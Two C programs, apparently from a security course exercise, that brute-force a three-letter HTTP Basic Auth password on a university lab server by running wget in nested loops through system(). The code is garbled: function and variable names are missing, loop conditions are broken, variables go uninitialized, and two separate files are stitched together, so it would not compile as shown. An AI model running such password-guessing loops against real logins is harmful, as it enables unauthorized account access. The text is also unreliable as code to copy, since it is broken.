# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>

int ()
{

		
	char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";		
	char s[100];
	char charcopy[200];
	
	FILE* f;					
		
	int i,j,k;

	int starting,ending;							
	
	int totaltime;
	
	starting=time();								

	for (i=0;i<strlen(check);i++)
	{
		for(j=0;j<strlen(check);j++)						
		{
			for(k=0;k<strlen(check);k++)
			{
				strcpy(charcopy,"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
				
				
				
				
				charcopy[40]=check[i];              			
				charcopy[41]=check[j];					
				charcopy[42]=check[k];
												
				system(charcopy);	
				printf("%c %c %c\n",check[i],check[j],check[k]);
				printf("%s\n",charcopy);
				
				f = fopen("logfile","r");				
				
				if(f != (FILE*) NULL)
				{
					fgets(s,30,f);					
					printf("%s\n",s);
					if(strcmp(s,"Authorization failed.\n")!=0)
					{
						ending=time();	
						totaltime=ending-starting;
						totaltime=totaltime/1000000000;		
						totaltime=totaltime/60;
	
						printf("Total time_var taken  break the Password is %lld minutes\n", totaltime);
						exit(0);
					}
				}
				
				fclose(f);						
			}
		}
	} 
	
	
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
 char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 int a=0,b=0,c=0,d,e,count=0;
 char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
 char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
 
 int  ,end,t;
  = time(); 
while(sizeof(lc)!=52)
{
     temp2[0]=lc[d];
     temp2[1]='\0';
     d=d+1;
     strcpy(p,temp2);
   
   while(sizeof(uc)!=52)
   {
      temp3[0]=uc[b];
      temp3[1]='\0';
      b=b+1;
      strcpy(q,p);
      strcat(q,temp3);
    for(e=0;e<52;e++)
    {
        temp1[0]=gc[e];
	temp1[1]='\0';
	strcpy(r,q);
	strcat(r,temp1);
       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
       strcat(mx,r);
       printf("temp3=%s\n",mx);
       if(system(mx)==0)
       { 
         printf("Password=%s\n",mx);
	 printf("%d \n",count);
	 end = time();
         t = (end -);
         t /= 1000000000.0;
         printf("The total time_var taken is:%llds\n",t);
	 exit(1);
       
       }
      }
     }
 }
 return 0;
}
